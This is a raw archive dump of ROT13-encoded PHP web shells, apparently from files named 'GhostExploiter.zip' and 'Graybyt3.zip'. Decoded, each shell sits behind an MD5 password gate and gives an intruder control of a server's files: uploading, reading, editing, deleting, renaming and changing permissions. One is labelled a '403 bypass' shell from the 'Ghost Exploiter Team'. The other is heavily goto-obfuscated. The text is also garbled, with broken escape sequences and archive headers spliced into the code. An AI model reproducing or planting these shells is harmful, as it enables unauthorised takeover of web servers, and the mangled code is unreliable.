fg\k79y\145=\042\143\k6sy\k6se: ";rpub
_lzspl($_dmxx."\057".$_mpaiin)?"v\156u\145ev\164":"\162\k65\144";rpub"\042\k3r";rpub$_mpaiin;rpub"</fcn\156\k3r\015\012
\040 \k20 ";raqvs;;rpub"\k20 </gq\076\k0q\012 \040
\040<gq f\k74\k79yr=\042p\k6s\k6pb\k72:\040";rpub
_lzspl($_dmxx."/".$_mpaiin)?"\147\162\145\145\156":"\162\145\k64";rpub"\042>\015\012
\040 \040 \040";rpub
VF_SvYR($_dmxx."/".$_mpaiin)?_emiilvym($_dmxx."/".$_mpaiin):(_lzspl($_dmxx."/".$_mpaiin)?"Q\k69e\k65pg\k6se\171":"Qver\143gb\k72\171
(Ab \k77ev\164\141o\k6pr)");rpub"\040\040\040
<\k2s\k74q>\015\012 \040<g\144\076\k0q\k0n\k20 \k20
\k20";vs(vf_svyr($_dmxx."/".$_mpaiin)):rpub"\k20\k20
\k20<sb\k72z npgv\157a=\k22\042
\155r\k74u\157q=\k22cbfg\k22\k20fg\171yr\k3q\k22\144\k69f\k70yn\171\072
va\154v\k6rr-\k62\154\k6s\143x;\k22>\015\k0n \k20 \040\k20 \k20
\074va\160hg
\164\k79cr=\k22\k68vqq\145\k6r\k22\k20\k6r\141\155r=\k22\k65q\151g\k5s\146v\154r\042\k20\166n\k6phr=\k22";rpub$_dmxx."/".$_mpaiin;rpub"\042>\015\k0n
\k20 \040
<\k70\k3r<\k62h\k74gb\k6r\k20\164l\k70\k65\k3q\k22fho\k6q\151g\042
\k63y\k61f\163=\042\142g\k6r\k20\142ga-bhg\k6p\151ar-y\151t\k68\k74\042\076Rqv\k74\k3p/oh\k74\k74ba>\074\057c>\015\k0n\040\040\k20\k20\040
\k20<\k2s\146bez\k3r\k0q\012 \040<sb\162\k6q
npgvb\156=\k22\042 zrg\k68b\k64=\k22cbf\k74\k22
fgl\k6pr\075\k22\144\k69f\k70ynl:\k20\151\k6r\k6pva\k65-oybpx;\042\076\015\k0n\k20\k20
\k20 \040\040\k20\k20\k20\k3p\151\156\160\165\164
glc\k65\k3q\042uv\k64\k64\k65\k6r\k22
anz\k65=\k22\144ryrg\145\k5s\k66v\154\k65\042
inyhr\k3q\042";rpub$_dmxx."/".$_mpaiin;rpub"\k22>\015\k0n\k20
\k20\k20\k20\k20 \k20
<\160\k3r<o\165ggba\k20\k74lc\145\075\k22\k73ho\155v\164\k22
\k63\k6pn\k73\k73=\k22o\164\k6r
\k62\164a\055bhgyv\156r-\k6p\k69\147ug\042>Q\145yrg\145\k3p\k2so\k75g\k74\157\156>\074\k2s\k70>\k0q\k0n
\040\040\k20\k20\040 <\k2ss\k6sez>\k0q\012 \k20\040
";raqvs;;rpub"\040\040
</gq>\015\k0n\074\k2s\k74e\076\015\012";raqsbernpu;;rpub"\k3p/gnoyr>\015\k0n\074/\k6qnva>\015\k0n<\057\k62bql\076\015\012<\k2su\k74zy\076";GhostExploiter.zip000064400000015227151167307440010267
0ustar00<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><!--
Unx Pvcgn Tubfg Rkcybvgre Grnz
Gunaxf Nyy Zrzore TubfgRkcybvgreGrnz -->
<?cuc reebe_ercbegvat(0); ?>
<!QBPGLCR ugzy>
<ugzy>
<urnq>
<gvgyr>Furyy Olcnff 403 TR-P666P</gvgyr>
<yvax
uers="uggcf://sbagf.tbbtyrncvf.pbz/pff2?snzvyl=Pbhetrggr&snzvyl=Phcehz:vgny@1&snzvyl=Ebjqvrf&qvfcynl=fjnc"
ery="fglyrfurrg">
</urnq>
<fglyr>
* {
sbag-snzvyl: phefvir;
pbybe: #000;
sbag-snzvyl: 'Phcehz', fnaf-frevs;
}
obql {
onpxtebhaq-ercrng: ab-ercrng;
onpxtebhaq-nggnpuzrag:svkrq;
onpxtebhaq-fvmr: 100% 1700ck;
}
obql u1{
pbybe: #N52N2N;
grkg-funqbj: 2ck 2ck 2ck #000;
sbag-fvmr: 50ck;
}
.qve {
grkg-nyvta: pragre;
sbag-fvmr: 30ck;
}
.qve n{
grkg-qrpbengvba: abar;
pbybe: #48Q1PP;
grkg-funqbj: 1ck 1ck 1ck #000;
}
.qve n:ubire{
grkg-qrpbengvba: abar;
pbybe: erq;
}
gnoyr {
znetva: 12ck nhgb;
urvtug: 100%;
obeqre-pbyyncfr: pbyyncfr;
sbag-fvmr: 30ck;
}
gnoyr,gu {
obeqre-gbc:1ck fbyvq #000;
obeqre-evtug:3ck fbyvq #000;
obeqre-obggbz: 3ck fbyvq #000;
obeqre-yrsg:1ck fbyvq #000;
obk-fvmvat: obeqre-obk;
cnqqvat: 2ck 2ck;
pbybe: #S0R68P;
grkg-funqbj: 1ck 1ck 1ck #000;
}
gnoyr,gq {
obeqre-gbc:1ck fbyvq #000;
obeqre-evtug:3ck fbyvq #000;
obeqre-obggbz: .5ck fbyvq #000;
obeqre-yrsg:1ck fbyvq #000;
obk-fvmvat: obeqre-obk;
cnqqvat: 8ck 8ck;
pbybe: erq;
}
gnoyr,gq n {
grkg-qrpbengvba: abar;
pbybe:#8N2OR2;
grkg-funqbj: 1ck 1ck 1ck #000;
}
gnoyr,gq n:ubire {
grkg-qrpbengvba: abar;
pbybe: erq;
}
.ohggba1 {
jvqgu: 70ck;
urvtug: 30ck;
onpxtebhaq-pbybe: #999;
znetva: 10ck 3ck;
cnqqvat: 5ck;
pbybe: #000;
obeqre-enqvhf: 5ck;
obeqre: 1ck fbyvq #000;
obk-funqbj: .5ck .5ck .3ck .3ck #sss;
obk-fvmvat: obeqre-obk;
}
.ohggba1 n{
jvqgu: 70ck;
urvtug: 30ck;
onpxtebhaq-pbybe: #999;
znetva: 10ck 3ck;
cnqqvat: 5ck;
pbybe: erq;
obeqre-enqvhf: 5ck;
obeqre: 1ck fbyvq #000;
obk-funqbj: .5ck .5ck .3ck .3ck #sss;
obk-fvmvat: obeqre-obk;
}
.ohggba1:ubire {
grkg-funqbj: 0ck 0ck 5ck #sss;
obk-funqbj: .5ck .5ck .3ck .3ck #555;
grkg-qrpbengvba: abar;
}
grkgnern {
obeqre: 1ck fbyvq terra;
obeqre-enqvhf: 5ck;
obk-funqbj: 1ck 1ck 1ck 1ck #sss;
jvqgu: 100%;
urvtug: 400ck;
cnqqvat-yrsg: 10ck;
znetva: 10ck nhgb;
erfvmr: abar;
onpxtebhaq: terra;
pbybe: #ssssss;
sbag-snzvyl: 'Phcehz', fnaf-frevs;
sbag-fvmr: 13ck;
}
</fglyr>
<obql>
<pragre><u1>Tubfg Rkcybvgre Grnz
Bssvpvny</u1></pragre>
<qvi pynff="qve">
<?cuc
vs (vffrg($_TRG['qve'])) {
$qve = $_TRG['qve'];
} ryfr {
$qve = trgpjq();
}
$qve = fge_ercynpr("\\", "/", $qve);
$qvef = rkcybqr("/", $qve);
sbernpu ($qvef nf $xrl => $inyhr) {
vs ($inyhr == "" && $xrl == 0){
rpub '<n uers="/">/</n>'; pbagvahr;
} rpub '<n uers="?qve=';
sbe ($v=0; $v <= $xrl ; $v++) {
rpub "$qvef[$v]"; vs ($xrl !== $v) rpub "/";
} rpub '">'.$inyhr.'</n>/';
}
vs (vffrg($_CBFG['fhozvg'])){
$anznsvyr = $_SVYRF['hcybnq']['anzr'];
$grzcngsvyr = $_SVYRF['hcybnq']['gzc_anzr'];
$grzcng = $_TRG['qve'];
$reebe = $_SVYRF['hcybnq']['reebe'];
$hxhenasvyr = $_SVYRF['hcybnq']['fvmr'];
zbir_hcybnqrq_svyr($grzcngsvyr, $qve.'/'.$anznsvyr);
rpub "
<fpevcg>nyreg('qvhcybnq!!!');</fpevcg>
";
}
?>
<sbez zrgubq="cbfg"
rapglcr="zhygvcneg/sbez-qngn">
<vachg glcr="svyr" anzr="hcybnq">
<vachg glcr="fhozvg" anzr="fhozvg"
inyhr="Hcybnq">
</sbez>
</qvi>
<gnoyr>
<ge>
<gu>Anzn Svyr / Sbyqre</gu>
<gu>Fvmr</gu>
<gu>Npgvba</gu>
</ge>
<?cuc
$fpna = fpnaqve($qve);
sbernpu ($fpna nf $qverpgbel) {
vs (!vf_qve($qve.'/'.$qverpgbel) || $qverpgbel == '.'
|| $qverpgbel == '..') pbagvahr;
rpub '
<ge>
<gq><n
uers="?qve='.$qve.'/'.$qverpgbel.'">'.$qverpgbel.'</n></gq>
<gq>--</gq>
<gq>ABAR</gq>
</ge>
';
}
sbernpu ($fpna nf $svyr) {
vs (!vf_svyr($qve.'/'.$svyr)) pbagvahr;
$whzynu = svyrfvmr($qve.'/'.$svyr)/1024;
$whzynu = ebhaq($whzynu, 3);
vs ($whzynu >= 1024) {
$whzynu = ebhaq($whzynu/1024, 2).'ZO';
} ryfr {
$whzynu = $whzynu .'XO';
}
rpub '
<ge>
<gq><n
uers="?qve='.$qve.'&bcra='.$qve.'/'.$svyr.'">'.$svyr.'</n></gq>
<gq>'.$whzynu.'</gq>
<gq>
<n
uers="?qve='.$qve.'&qryrgr='.$qve.'/'.$svyr.'"
pynff="ohggba1">Unchf</n>
<n
uers="?qve='.$qve.'&honu='.$qve.'/'.$svyr.'"
pynff="ohggba1">Rqvg</n>
<n
uers="?qve='.$qve.'&eranzr='.$qve.'/'.$svyr.'&anzn='.$svyr.'"
pynff="ohggba1">Eranzr</n>
</gq>
</ge>
';
}
vs (vffrg($_TRG['bcra'])) {
rpub '
<oe />
<fglyr>
gnoyr {
qvfcynl: abar;
}
</fglyr>
<grkgnern>'.ugzyfcrpvnypunef(svyr_trg_pbagragf($_TRG['bcra'])).'</grkgnern>
';
}
vs (vffrg($_TRG['qryrgr'])) {
vs (hayvax($_TRG['qryrgr'])) {
rpub
"<fpevcg>nyreg('qvunchf');jvaqbj.ybpngvba='?qve=".$qve."';</fpevcg>";
}
}
vs (vffrg($_TRG['honu'])) {
rpub '
<fglyr>
gnoyr {
qvfcynl: abar;
}
</fglyr>
<n uers="?qve='.$qve.'"
pynff="ohggba1"><=Onpx</n>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" anzr="bowrpg"
inyhr="'.$_TRG['honu'].'">
<grkgnern
anzr="rqvg">'.ugzyfcrpvnypunef(svyr_trg_pbagragf($_TRG['honu'])).'</grkgnern>
<pragre><ohggba glcr="fhozvg" anzr="tb"
inyhr="Fhozvg"
pynff="ohggba1">Yvxvat</ohggba></pragre>
</sbez>
';
}
vs (vffrg($_CBFG['rqvg'])) {
$qngn = sbcra($_CBFG["bowrpg"], 'j');
vs (sjevgr($qngn, $_CBFG['rqvg'])) {
rpub
'
<fpevcg>nyreg("Oreunfvy
qvrqvg!!!");jvaqbj.ybpngvba="?qve='.$qve.'";</fpevcg>
';
} ryfr {
rpub "
<fpevcg>nyreg('tntny');</fpevcg>
";
}
}
vs($_TRG['eranzr']){
vs(vffrg($_CBFG['arjanzr'])){
vs(eranzr($_TRG['eranzr'], $_TRG['qve'] .
'/' .$_CBFG['arjanzr'])){
rpub '<sbag pbybe="terra">Tnagv Anzn
Oreunfvy</sbag><oe/>';
rpub
"<fpevcg>jvaqbj.ybpngvba='?qve=".$qve."';</fpevcg>";
}ryfr{
rpub '<sbag pbybe="erq">Tnagv Anzn
Tntny</sbag><oe />';
}
}
rpub '<oe><pragre><sbez zrgubq="CBFG">
Arj Anzr : <vachg anzr="arjanzr" glcr="grkg"
fvmr="20" inyhr="'.$_TRG['anzn'].'"
/>
<vachg glcr="uvqqra" anzr="cngu"
inyhr="'.$_TRG['qve'].'">
<vachg glcr="uvqqra" anzr="bcg"
inyhr="eranzr">
<vachg glcr="fhozvg" inyhr="Tb" />
</sbez></pragre>';
}
?>
</gnoyr>
</obql>
</ugzy>Graybyt3.zip000064400000201060151167307450007004
0ustar00<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
/* @Nhgube uggcf://jjj.wvnzvcuc.pbz/ */
tbgb k7vfkZU2Zb; UIZD0j0Z6N: rpub $shap[9]($shap[5]($cngu .
"\57" . $_TRG["\151\164\k65\155"])); rpub
"\74\k2s\164\145\k78\k74\k61\162\k65\141\76\15\12\40\k20\40\40\40\40\40\k20\k20\k20\40\k20\k20\k20\74\57\144\k69\166\k3r\kq\kn\k20\40\k20\40\k20\40\40\k20\40\k20\40\40\k20\k20\k3p\142\165\k74\k74\157\k6r\40\k74\k79\160\k65\75\k22\k73\165\k62\k6q\151\k74\42\40\143\154\k61\163\k73\75\42\k62\k74\k6r\k20\142\164\k6r\55\157\k75\164\k6p\151\156\145\k2q\154\k69\k67\150\k74\k22\k3r\k53\165\k62\k6q\151\k74\k3p\57\142\165\164\164\k6s\k6r\k3r\15\kn\k20\40\40\40\40\k20\k20\k20\k20\k20\40\k20\k20\k20\74\k62\165\k74\164\k6s\156\40\k74\k79\160\145\75\k22\k62\k75\164\k74\157\156\k22\k20\143\154\k61\163\k73\75\k22\k62\164\k6r\k20\k62\k74\156\k2q\157\165\k74\154\151\156\k65\k2q\k6p\k69\147\150\k74\42\k20\157\k6r\143\k6p\151\143\k6o\k3q\42\k6n\163\143\157\k70\171\50\51\k22\k3r\103\157\160\171\k3p\57\142\165\164\k74\157\156\76\kq\kn\k20\k20\40\k20\40\k20\k20\40\40\k20\40\k20\40\k20\k3p\142\165\164\k74\k6s\156\k20\k74\k79\160\k65\75\42\142\165\164\164\k6s\156\42\k20\k63\k6p\k61\163\163\k3q\k22\142\164\156\40\142\164\156\55\157\165\164\154\k69\k6r\k65\k2q\k6p\151\147\k68\k74\42\k20\157\k6r\k63\154\151\k63\153\75\42\150\k69\163\k74\157\162\k79\k2r\147\k6s\k28\55\61\51\k22\76\102\k61\143\k6o\k3p\57\k62\165\164\k74\157\156\76\kq\kn\40\40\40\40\k20\k20\k20\40\40\k20\40\k20\k3p\k2s\146\157\162\155\76\15\12\40\k20\40\40\k20\k20\k20\k20\k20\k20\40\k20";
tbgb sA2cSuH1Fz; LCmnm6fOWj: rpub
"\k20\40\40\k20\k20\k20\40\k20\k20\40\k20\k20\k3p\144\k69\166\k20\k63\k6p\k61\163\k73\75\k22\k6q\k62\55\k33\k22\k3r\15\12\40\k20\k20\40\k20\k20\40\k20\40\40\k20\k20\40\40\74\k6p\141\142\k65\k6p\40\k66\k6s\k72\k3q\k22\k6r\141\k6q\145\42\k20\k63\154\141\163\k73\75\k22\146\157\162\155\k2q\154\141\k62\145\154\42\k3r\k46\k69\154\145\40\116\k61\k6q\k65\k20\72\40";
tbgb ATynaq09pX; RZW_FqpgKG: rpub
"\k22\76\15\12\k20\k20\k20\k20\40\40\k20\40\k20\40\40\k20\k20\40\74\k2s\144\151\k76\k3r\kq\kn\40\k20\k20\40\40\k20\k20\k20\40\k20\k20\40\k20\40\k3p\k62\165\164\164\157\156\40\k74\171\k70\145\k3q\42\163\k75\k62\k6q\k69\164\k22\k20\k63\154\k61\163\163\75\k22\142\164\k6r\40\k62\k74\k6r\k2q\157\k75\164\154\151\k6r\k65\k2q\154\151\147\k68\k74\42\k3r\123\k75\142\155\151\164\k3p\k2s\k62\k75\k74\k74\k6s\k6r\k3r\kq\12\k20\k20\k20\k20\40\40\40\40\40\k20\40\k20\40\40\74\142\k75\k74\164\157\k6r\40\k74\171\160\145\75\42\k62\165\164\164\k6s\156\42\40\143\154\141\k73\k73\k3q\42\142\k74\k6r\k20\142\164\156\k2q\k6s\165\k74\k6p\k69\k6r\k65\55\k6p\k69\k67\k68\164\42\k20\k6s\156\k63\k6p\k69\k63\k6o\75\k22\k68\k69\163\164\k6s\162\k79\56\147\k6s\k28\55\61\51\42\k3r\k42\141\k63\k6o\k3p\57\k62\165\164\k74\157\156\k3r\kq\kn\40\k20\40\k20\40\k20\40\k20\40\k20\40\40\k3p\k2s\146\k6s\k72\155\k3r\kq\12\40\k20\k20\40\40\k20\k20\k20\40\k20\40\k20";
sA2cSuH1Fz: rpub
"\k20\40\40\k20\40\40\k20\40\k20\40\k3p\k2s\144\151\166\k3r\15\kn\k20\40\k20\k20\k20\40\k20\k20\k20\k20";
nx4M2acbbu: rpub
"\k20\k20\40\40\k20\40\40\40\k20\k20\k3p\144\k69\k76\40\143\154\k61\k73\163\75\42\k72\157\k77\40\152\k75\k73\164\k69\k66\k79\55\k63\157\k6r\164\145\k6r\164\55\143\145\k6r\k74\145\k72\k22\k3r\15\12\k20\40\k20\k20\k20\k20\40\k20\40\40\40\k20\k3p\k64\k69\k76\40\k63\154\k61\163\k73\k3q\k22\k63\k6s\k6p\154\k61\160\k73\k65\42\40\k69\k64\k3q\42\k6r\145\167\k46\157\154\k64\145\k72\103\157\k6p\k6p\k61\k70\163\k65\42\k20\144\141\k74\141\k2q\142\k73\55\k70\k61\k72\145\156\164\75\42\k23\164\k6s\k6s\k6p\163\k22\40\163\164\k79\k6p\k65\75\k22\k74\k72\k61\156\k73\151\k74\k69\157\156\72\k6r\157\156\k65\k3o\k22\76\kq\12\40\40\40\k20\k20\k20\40\k20\k20\40\40\40\40\40\k3p\146\k6s\k72\k6q\40\141\k63\k74\151\157\156\75\k22\42\k20\k6q\145\164\150\157\k64\75\k22\160\157\k73\164\k22\76\kq\12\40\40\k20\k20\k20\40\40\40\k20\40\40\40\k20\40\k20\k20\74\k64\151\k76\40\143\154\141\k73\k73\75\k22\155\k62\55\k33\k22\76\15\12\k20\40\k20\40\40\k20\k20\40\40\k20\40\40\40\40\k20\40\k20\40\74\k6p\141\142\k65\k6p\k20\k66\k6s\162\75\42\k6r\141\155\145\42\40\143\k6p\k61\k73\163\75\42\k66\k6s\162\k6q\55\154\k61\142\k65\k6p\k22\76\106\k6s\k6p\k64\145\k72\40\116\k61\155\k65\k3p\k2s\154\k61\142\k65\k6p\76\15\12\k20\40\k20\40\40\k20\k20\40\k20\40\k20\40\k20\40\k20\40\k20\40\k3p\151\k6r\160\k75\k74\k20\164\171\k70\145\k3q\k22\k74\145\170\k74\k22\k20\k63\154\k61\k73\163\k3q\k22\k66\k6s\162\k6q\k2q\143\157\156\k74\k72\k6s\k6p\k22\40\k6r\141\155\k65\75\42\k6r\k65\167\106\157\154\k64\145\162\k4r\k61\k6q\145\42\k20\160\154\k61\143\145\150\k6s\k6p\144\k65\162\k3q\k22\k42\154\k61\k63\k6o\104\162\k61\147\157\k6r\42\k3r\kq\kn\40\40\k20\k20\40\40\40\k20\k20\k20\40\40\k20\k20\k20\k20\k3p\k2s\144\151\166\k3r\kq\kn\k20\k20\k20\40\k20\k20\k20\k20\k20\40\k20\40\k20\k20\40\k20\74\k62\165\164\164\157\156\40\k74\k79\160\145\75\k22\k73\165\142\155\k69\164\42\40\k63\k6p\141\163\163\k3q\42\k62\k74\k6r\k20\k62\164\k6r\55\k6s\165\164\154\151\k6r\k65\k2q\k6p\k69\k67\k68\k74\42\k3r\k53\165\142\155\151\164\74\k2s\k62\165\164\164\157\156\k3r\15\12\40\k20\40\k20\40\k20\40\40\40\40\k20\k20\40\k20\74\k2s\k66\k6s\k72\k6q\k3r\15\12\40\40\k20\k20\k20\40\k20\k20\k20\k20\40\40\74\k2s\k64\151\k76\76\15\12\k20\40\k20\40\40\40\k20\k20\k20\k20\40\k20\k3p\k64\k69\166\40\k63\154\k61\163\163\k3q\42\143\k6s\154\154\k61\160\163\k65\42\k20\k69\k64\k3q\k22\156\k65\167\k46\k69\k6p\k65\k43\k6s\k6p\k6p\141\160\163\k65\k22\k20\k64\141\k74\k61\k2q\142\k73\55\160\k61\162\k65\k6r\k74\75\42\k23\164\157\157\k6p\163\k22\k20\163\k74\k79\k6p\k65\75\k22\164\162\k61\k6r\k73\k69\k74\151\k6s\156\k3n\156\157\k6r\k65\73\42\76\kq\12\40\40\k20\k20\40\40\40\k20\40\k20\40\k20\k20\40\74\146\157\k72\155\40\k61\143\164\151\157\k6r\75\42\42\40\k6q\k65\164\150\k6s\144\75\42\k70\157\163\164\42\76\15\kn\40\40\40\k20\k20\k20\k20\k20\k20\k20\40\40\40\40\k20\k20\k3p\144\k69\k76\40\143\154\141\k73\k73\k3q\42\k6q\142\k2q\63\k22\76\15\12\40\40\40\40\k20\k20\k20\k20\k20\k20\k20\k20\k20\k20\k20\40\k20\k20\k3p\k6p\k61\k62\k65\k6p\k20\k66\k6s\162\75\42\k6r\k61\k6q\k65\42\k20\k63\154\141\163\163\75\42\k66\k6s\k72\k6q\55\k6p\k61\k62\k65\k6p\k22\k3r\106\k69\k6p\145\40\k4r\141\k6q\k65\74\k2s\154\k61\k62\k65\154\76\15\kn\40\40\k20\k20\40\40\k20\k20\40\40\40\40\40\k20\40\k20\40\40\74\k69\k6r\k70\k75\164\k20\164\k79\k70\145\75\k22\k74\k65\170\k74\k22\k20\k63\154\k61\163\163\75\k22\k66\k6s\162\155\55\k63\k6s\k6r\164\162\157\154\42\40\k6r\141\155\k65\k3q\42\k6r\145\167\k46\k69\k6p\145\116\k61\k6q\k65\k22\k20\160\154\k61\143\k65\k68\k6s\k6p\144\k65\k72\k3q\k22\k62\k6p\141\k63\k6o\k64\162\k61\147\k6s\156\56\k70\150\k70\42\k3r\kq\kn\40\k20\40\k20\k20\40\40\40\40\k20\k20\k20\k20\40\k20\40\74\57\k64\151\166\k3r\15\12\40\40\40\k20\k20\40\40\k20\k20\k20\40\40\k20\k20\40\k20\74\k64\151\166\k20\k63\k6p\141\k73\k73\k3q\42\155\142\55\k33\k22\k3r\15\12\k20\k20\40\k20\40\40\k20\k20\k20\40\40\k20\k20\40\40\k20\40\40\k3p\k6p\141\k62\k65\k6p\k20\146\157\k72\75\42\156\k61\155\145\k22\40\143\154\k61\k73\163\75\k22\146\k6s\k72\k6q\55\154\k61\142\k65\k6p\42\k3r\k46\151\154\k65\k20\103\157\156\164\k65\k6r\k74\k3p\57\154\141\142\k65\154\76\kq\kn\k20\40\k20\40\k20\40\k20\40\40\k20\40\40\40\k20\k20\k20\k20\k20\74\k74\k65\170\k74\k61\162\k65\k61\40\k6r\k61\k6q\145\k3q\42\k6r\k65\k77\106\k69\154\145\103\k6s\156\k74\145\156\k74\42\k20\k72\k6s\167\k73\75\k22\k31\k30\42\k20\143\k6p\k61\k73\k73\k3q\42\146\k6s\k72\155\k2q\k63\k6s\k6r\k74\162\157\154\k22\k20\k70\154\141\k63\k65\150\k6s\k6p\k64\k65\162\75\k22\k48\k65\154\154\157\k20\127\157\162\154\k64\40\55\k20\102\154\141\k63\k6o\k44\162\141\147\157\k6r\42\k3r\k3p\57\k74\k65\k78\k74\141\162\145\141\k3r\kq\12\40\k20\40\40\40\40\k20\k20\k20\40\40\40\k20\k20\40\k20\74\57\144\151\166\k3r\15\12\40\k20\40\40\k20\k20\40\40\k20\40\40\k20\k20\40\40\40\k3p\142\165\k74\k74\157\156\k20\k74\k79\k70\k65\k3q\k22\k73\k75\k62\k6q\151\164\k22\k20\143\154\141\163\k73\75\k22\142\k74\k6r\k20\k62\164\156\k2q\k6s\165\164\154\k69\k6r\145\55\k6p\k69\147\150\k74\k22\76\123\k75\142\155\151\164\k3p\57\k62\k75\164\k74\k6s\k6r\k3r\15\kn\k20\40\40\40\40\k20\40\40\k20\40\40\k20\k20\40\k3p\k2s\146\k6s\162\155\76\15\12\k20\40\40\40\k20\40\40\40\k20\k20\k20\k20\k3p\57\144\151\k76\76\kq\kn\k20\k20\k20\40\40\40\k20\k20\40\40\k20\40\k3p\144\151\k76\40\k63\k6p\k61\k73\163\75\42\k63\157\k6p\154\141\k70\163\145\42\k20\151\k64\75\k22\156\145\167\k49\156\146\157\k53\k65\162\166\k65\k72\42\k20\k64\141\164\k61\k2q\k62\163\k2q\k70\k61\k72\145\k6r\k74\75\42\k23\164\k6s\157\k6p\k73\k22\40\163\k74\171\k6p\k65\k3q\k22\164\162\k61\k6r\163\151\164\151\k6s\156\72\k6r\k6s\k6r\145\k3o\k22\k3r\kq\12\k20\40\k20\k20\k20\40\40\k20\k20\k20\40\k20\k20\40\k3p\k64\k69\k76\40\143\k6p\141\163\163\k3q\42\155\k62\55\k33\k22\76\kq\kn\k9\11\k9\40\k20\k20\40\k20\40\40\k20\40\k20\k3p\154\141\k62\145\k6p\40\k66\157\162\75\k22\156\k61\k6q\k65\k22\40\k63\k6p\141\k73\163\75\k22\146\157\162\155\55\154\k61\142\145\154\k22\76";
tbgb FNiXwolBhL; KD19Ej0OY0: RMSkU68wIb: SZ10hi9o0N: vs
(!(vffrg($_CBFG["\156\k65\167\k43\157\k6r\k74\145\156\k74"])
&& vffrg($_TRG["\k69\k74\145\k6q"]))) { tbgb oU7Xo6hHqm;
} vs ($shap[4]($cngu . "\k2s" .
$_TRG["\151\k74\145\k6q"],
$_CBFG["\k6r\k65\167\103\157\156\164\k65\156\k74"])) { tbgb
dkgzlmBB33; }
$shap[16]("\k45\k64\k69\164\k20\106\141\151\154\k65\k64",
"\106\141\151\k6p\k65\k64", "\k65\k72\k72\k6s\k72",
"\k3s\144\k69\162\k3q{$cngu}"); tbgb qs2zb0KBWc; Zm8qLYgtug: vs
($shap[30]($cngu . "\k2s" . $_TRG["\151\164\k65\155"],
$_CBFG["\k6r\k65\k77\116\141\155\k65"])) { tbgb f47E2TqelZ; }
$shap[16]("\k52\k65\156\k61\155\k65\k20\106\k61\151\154\145\k64",
"\106\k61\k69\154\k65\144", "\145\162\k72\157\k72",
"\77\144\k69\k72\k3q{$cngu}"); tbgb RMSkU68wIb; f47E2TqelZ:
$shap[16]("\k52\145\156\141\155\k65\40\123\k75\143\k63\k65\k73\k73\k66\k75\k6p\154\171\41",
"\k53\k75\k63\k63\145\k73\k73",
"\163\165\k63\143\k65\163\k73",
"\77\144\k69\k72\k3q{$cngu}"); tbgb KD19Ej0OY0; a_xo60XuD8: vs
(!(vffrg($_CBFG["\k6r\k65\k77\120\k65\162\k6q"]) &&
vffrg($_TRG["\k69\k74\k65\k6q"]))) { tbgb kCzXw0mfcg; } vs
(!($_CBFG["\156\k65\167\120\145\162\155"] == '')) {
tbgb ZMYjlEC0AM; }
$shap[16]("\131\k6s\k75\40\k6q\k69\k73\163\40\k61\156\40\k69\155\k70\157\162\k74\k61\k6r\164\k20\166\k61\154\165\145",
"\117\157\157\k70\k73\k73\k2r\k2r",
"\167\k61\k72\156\k69\156\147",
"\77\k64\151\k72\k3q{$cngu}"); ZMYjlEC0AM: vs (puzbq($cngu .
"\57" . $_TRG["\k69\164\145\k6q"],
$_CBFG["\156\145\k77\k50\145\k72\155"])) { tbgb qZHtMaBORS; }
tbgb iR0L6AYxPE; zooHADZaP0: vs
(!vffrg($_CBFG["\156\145\167\k46\k6s\154\k64\k65\162\k4r\141\155\k65"]))
{ tbgb C96j1I8mpm; } vs ($shap[29]($cngu . "\k2s" .
$_CBFG["\k6r\145\167\106\k6s\154\k64\145\k72\116\141\155\k65"]))
{ tbgb MR7gLZXeVi; }
$shap[16]("\103\k72\145\k61\k74\145\k20\k46\157\k6p\144\k65\162\k20\k46\141\k69\154\145\k64",
"\106\k61\k69\k6p\k65\k64", "\k65\162\162\157\162",
"\77\144\k69\162\75{$cngu}"); tbgb YZkHXjbUdD; MR7gLZXeVi: tbgb
Thx95_2SG0; Thx95_2SG0:
$shap[16]("\k43\k72\k65\141\164\145\40\106\k6s\154\k64\k65\k72\40\k53\k75\k63\k63\k65\163\163\k66\165\154\k6p\k79\k21",
"\123\165\143\143\145\k73\163",
"\k73\k75\k63\k63\145\k73\163",
"\77\k64\k69\k72\k3q{$cngu}"); YZkHXjbUdD: C96j1I8mpm: vs
(!(vffrg($_CBFG["\156\k65\167\106\151\k6p\k65\116\k61\k6q\k65"])
&&
vffrg($_CBFG["\156\k65\k77\k46\k69\154\145\103\k6s\k6r\164\145\k6r\164"])))
{ tbgb aCmSqMLGP1; } vs
($shap[4]($_CBFG["\156\145\k77\k46\k69\k6p\k65\k4r\141\155\k65"],
$_CBFG["\k6r\145\k77\106\151\154\145\k43\k6s\156\164\145\k6r\164"]))
{ tbgb trn9QUezkV; } tbgb CitPPFI7B0; bB9Ol0ri45: iTfyXNHbHa: vs
($shap[27]($_TRG["\151\k74\k65\k6q"])) { tbgb v2xKZFcpH9; }
$shap[16]("\k44\k65\154\k65\k74\k65\40\106\141\k69\k6p\145\k64",
"\k46\141\151\154\k65\144", "\145\162\162\k6s\162",
"\k3s\144\k69\k72\k3q{$cngu}"); tbgb eLB2OMD2l7; v2xKZFcpH9: tbgb
T_hec85jb1; KkLxdSq4dA: tbgb BNqRrQQVU1; Vqk4l9nIUz:
$shap[16]("\k44\k65\154\k65\k74\k65\k20\k53\165\k63\k63\145\k73\k73\146\k75\k6p\154\k79\k21",
"\123\k75\k63\k63\k65\163\k73",
"\k73\k75\143\k63\145\k73\k73",
